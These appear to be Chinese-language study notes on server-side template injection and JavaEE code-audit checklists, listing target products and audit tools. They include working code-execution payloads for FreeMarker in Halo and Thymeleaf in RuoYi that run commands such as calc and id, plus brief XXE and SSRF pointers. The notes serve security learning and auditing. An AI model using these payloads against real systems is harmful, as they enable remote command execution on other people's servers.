ssti模版注入
SSTI模版注入
1、找项目中是否存在模版引擎(类型及安全问题)
2、找模版注入利用入口条件(根据网上已知漏洞复现条件)
3、找可控地方进行测试检测(根据网上已知漏洞利用条件)
常见模版说明:见上图
参考来源:
https://github.com/Pav-ksd-pl/websitesVulnerableToSSTI
黑盒中建议判断利用:见70天内容
https://github.com/epinna/tplmap
https://github.com/vladko312/SSTImap
JavaEE审计-CheckList
1、功能点-见上图
2、搜索点-见链接
https://mp.weixin.qq.com/s/Y90mGgCqzjj0T1NX9E5wDw
https://mp.weixin.qq.com/s/COXCjMItvrcOCNcqEfbmDg
(1)国产软件
[泛微Ecology] 代码审计、安装说明
[致远Seeyon] 代码审计、补丁问题
[用友NC] 代码审计与环境搭建
[蓝凌Landray] 代码审计与环境搭建
[泛微E-Office] 代码审计与环境搭建
[帆软报表] 代码审计与环境搭建
[拓尔思TRS 内容协作平台WCM] 代码审计与环境搭建
[通达OA] 代码审计与环境搭建
[Smartbi] 代码审计与环境搭建
[RuoYi若依] 代码审计
[金山终端安全系统] 代码审计
[慧点OA] 代码审计
[浙大恩特客户资源管理系统] 代码审计
[企望制造ERP] 代码审计
(2)常见组件
[ThinkPHP] 代码审计
[Struts2] 漏洞环境下载、OGNL POC、漏洞分析
[XStream] 审计特点与POC分析
[NexusRepositoryManager] 代码审计与环境搭建
(3)Server
Jetty
Nginx
Tomcat
WebLogic
JBoss
TongWeb
PrimetonPAS
(4)数据库
mssql
mysql
H2 Database
CouchDB
ApacheSolr
ElasticSearch
InfluxDB
ApacheDruid
#FreeMarker Halo
freemarker->模板->admin/themes/editor->.ftl
<#assign value=”freemarker.template.utility.Execute”?
new()>${value(“calc.exe”)}
往index.ftl里面插入payload
<#assign value=”freemarker.template.utility.Execute”?new()> ${value(“calc.exe”)}
插入点
#Thymeleaf Ruoyi
参考:https://xz.aliyun.com/t/9826
Thymeleaf->return 可控变量->getNames->fragment->缓存监控
1 | __${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x |
1 | @GetMapping("/path") |
抓包分析一下
点击一下刷新按钮抓包。
注入参数
1 | __${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("calc").getInputStream()).next()}__::.x |
#Jeecg-Xxe&XSteam
xml比较少,逐渐被json取代
https://mp.weixin.qq.com/s/5hYQQBRhdoU5yxXMsDmClA
使用了第三方组件SAXReader,默认的解析方法会出现XXE 漏洞,接着查找相应控制层的代码,是否调用了该方法
#Halo- RCE&SSRF
RuntimeUtil->remoteAddr->admin/themes/clone->在线拉取主题